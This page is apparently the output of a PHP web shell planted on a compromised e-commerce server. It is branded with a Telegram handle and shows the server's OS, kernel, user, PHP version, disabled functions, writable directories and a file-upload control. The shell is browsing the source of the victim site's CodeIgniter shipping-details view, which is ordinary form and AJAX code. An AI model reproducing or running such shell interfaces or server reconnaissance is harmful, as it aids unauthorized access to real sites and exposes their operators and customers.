https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/views/account/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/views/account/shipping.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>

<div class="container">
	<div class="row" style="padding-bottom:50px;">
		<div class="col-sm-2" style="border-right:1px solid #ccc;">
			<br>	
			<br>	


			 <h4>MY ACCOUNT</h4> 

	         <p>view &amp; edit your details</p> 
	              
	         <br>

	         <p><a href="<?= base_url('account/profile'); ?>">MY PROFILE</a></p>

	         <p><a href="<?= base_url('account/shipping'); ?>">SHIPPING DETAILS</a></p>

	         <p><a href="<?= base_url('account/order_history'); ?>">ORDER HISTORY</a></p>

	         <!-- <p><a href="<?= base_url('account/wishlist'); ?>">MY WISHLIST</a></p> -->

		</div><!-- end col-sm-4--> 

		<div class="col-sm-10">
			<br>	
			<br>	
		

			<h4>SHIPPING ADDRESS</h4>   
				<?= $this->session->flashdata('success'); //to display success message ?> 

				<br>

				<!-- Form Start --> 
                <?php echo form_open('account/update_shipping'); ?>

                <div class="left" style="width:125px; float:left; margin-bottom: 16px;">Recipient Name</div>

				<div  class="right" style="margin-bottom: 16px;">
					<?php
						$data = array( 
			              'name'        => 'recipient_name',
			              'id'          => 'recipient_name',
			              'value'       => $shipping->recipient_name,
			              'maxlength'   => '200',
			              'size'        => '50',
			              'style'       => 'width:50%; height: 22px; border:1px solid #9c989a; color:grey; padding-left:5px;',
			            );

						echo form_input($data);
						echo '<span style="font-size:10px;">' . form_error('recipient_name') . '</span>';

					?>
				</div> 

				<div class="left" style="width:125px; float:left; margin-bottom: 16px; display:none">Country</div>

				<div  class="right" style="margin-bottom: 16px; display:none">

					<select id="country" name="country" class="input-xlarge" style="width:50%; height: 30px; border:1px solid #9c989a; color:grey; padding:0; margin-left: 0;">
						<option value="IDN" selected="selected">Indonesia</option>
					</select>	
				</div>	

				<div class="left" style="width:125px; float:left; margin-bottom: 16px;">State / Province</div>

				<div  class="right" style="margin-bottom: 16px;">
					
					<select required id="province" name="province" class="input-xlarge" style="width:50%; height: 30px; border:1px solid #9c989a; color:grey; padding:0; margin-left: 0;">

						<option value="">Choose State / Province...</option>

						<?php foreach($provinces['rajaongkir']['results'] as $province) : ?>
							<option value="<?= $province['province_id']; ?>"

							<?php if ($province['province_id'] == $shipping->id_province): ?>
		                        selected    
		                    <?php endif ?>     	

							><?= ucwords($province['province']); ?></option>

						<?php endforeach; ?>	

					</select> 
						
					<?php echo '<span style="font-size:10px;">' . form_error('province') . '</span>'; 

					?> 
				</div> 

				<div class="left" style="width:125px; float:left; margin-bottom: 16px;">City / District</div>
				<div  class="right" style="margin-bottom: 16px;"> 
					<select required id="district" name="district" class="input-xlarge" style="width:50%; height: 30px; border:1px solid #9c989a; color:grey; padding:0; margin-left: 0;">
					<?php if (isset($district_lists)) : ?>  
							<?php foreach($district_lists['rajaongkir']['results'] as 
							$district) : ?>
									<option value="<?= $district['city_id']; ?>"
									<?php if ($district['city_id'] == $shipping->id_district) : ?>
											selected
									<?php endif; ?>
									><?= ucwords($district['city_name']); ?></option>
							<?php endforeach; ?>
					<?php endif; ?>
					</select> 
					<?php echo '<span style="font-size:10px;">' . form_error('district') . '</span>'; ?>
				</div> 

				<div class="left" style="width:125px; float:left; margin-bottom: 16px;">Subdistrict</div>
				<div  class="right" style="margin-bottom: 16px;"> 
					<select required id="subdistrict" name="subdistrict" class="input-xlarge" style="width:50%; height: 30px; border:1px solid #9c989a; color:grey; padding:0; margin-left: 0;">
					<option value="">Choose Subdistrict...</option>
					<?php if (isset($subdistrict_lists)) : ?>  
							<?php foreach($subdistrict_lists['rajaongkir']['results'] as 
							$subdistrict) : ?>
									<option value="<?= $subdistrict['subdistrict_id']; ?>"
									<?php if ($subdistrict['subdistrict_id'] == $shipping->id_subdistrict) : ?>
											selected
									<?php endif; ?>
									><?= ucwords($subdistrict['subdistrict_name']); ?></option>
							<?php endforeach; ?>
					<?php endif; ?>
					</select> 
					<?php echo '<span style="font-size:10px;">' . form_error('subdistrict') . '</span>'; ?>
				</div> 
				
				<div class="left" style="width:125px; float:left; margin-bottom: 16px;">Address</div>

				<div  class="right" style="margin-bottom: 16px;">
					<?php
						$data = array( 
			              'name'        => 'address',
			              'id'          => 'address',
			              'value'       => ucfirst($shipping->address),
			              'maxlength'   => '200',
			              'size'        => '50',
			              'style'       => 'width:50%; height: 22px; border:1px solid #9c989a; color:grey; padding-left:5px;',
			            );

						echo form_input($data);
						echo '<span style="font-size:10px;">' . form_error('address') . '</span>';

					?>
				</div>  

				<div class="left" style="width:125px; float:left; margin-bottom: 16px;">Post Code</div>

				<div  class="right" style="margin-bottom: 16px;">
					<?php
						$data = array( 
			              'name'        => 'postcode',
			              'id'          => 'postcode',
			              'value'       => $shipping->postcode,
			              'maxlength'   => '200',
			              'size'        => '50',
			              'style'       => 'width:50%; height: 22px; border:1px solid #9c989a; color:grey; padding-left:5px;',
			            );

						echo form_input($data);
						echo '<span style="font-size:10px;">' . form_error('postcode') . '</span>';

					?>
				</div> 

				<div class="left" style="width:125px; float:left; margin-bottom: 16px;">HP/Phone</div>

				<div  class="right" style="margin-bottom: 16px;">
					<?php
						$data = array( 
			              'name'        => 'phone',
			              'id'          => 'phone',
			              'value'       => $shipping->phone,
			              'maxlength'   => '200',
			              'size'        => '50',
			              'style'       => 'width:50%; height: 22px; border:1px solid #9c989a; color:grey; padding-left:5px;',
			            );

						echo form_input($data);
						echo '<span style="font-size:10px;">' . form_error('phone') . '</span>';
					?>
				</div> 

			<input type="submit" name="update_shipping" value="UPDATE DETAILS" style="background:#443d41;
color: white; height: 29px; margin-top: 5px; width: 160px; border:none; cursor: pointer; margin-left: 125px;" />

			<?php echo form_close(); ?>	

		</div><!-- end col-sm-8-->

	</div><!-- end row-->
</div><!-- end container -->


<div id="footer" >

<script>
$( document ).ready(function() {

	var controller = 'account';
    var base_url = '<?php echo base_url(); ?>'; 
  
    $('#province').change(function() {

        var id_province = $(this).val();
        
        load_data_ajax(id_province);
    });  

		$('#district').change(function() {

			var id_district = $(this).val();

			load_data_ajax2(id_district);
		});  

    function load_data_ajax(id_province) {
        $.ajax({
            'url'       : base_url + controller + '/ajax_edit_district', 
            'type'      : 'POST', 
            'data'      : {'id_province' : id_province},  
            'success'   : function(data) {
                
                var container = $('#district');
                
                if (data) {

                    container.html(data);   
                };
            }
        });
    }

		function load_data_ajax2(id_district) {
        $.ajax({
            'url'       : base_url + controller + '/ajax_edit_subdistrict', 
            'type'      : 'POST', 
            'data'      : {'id_district' : id_district},  
            'success'   : function(data) {
                
                var container = $('#subdistrict');
                
                if (data) {

                    container.html(data);   
                };
            }
        });
    }
 
});

</script>

https://t.me/RX1948 - 2025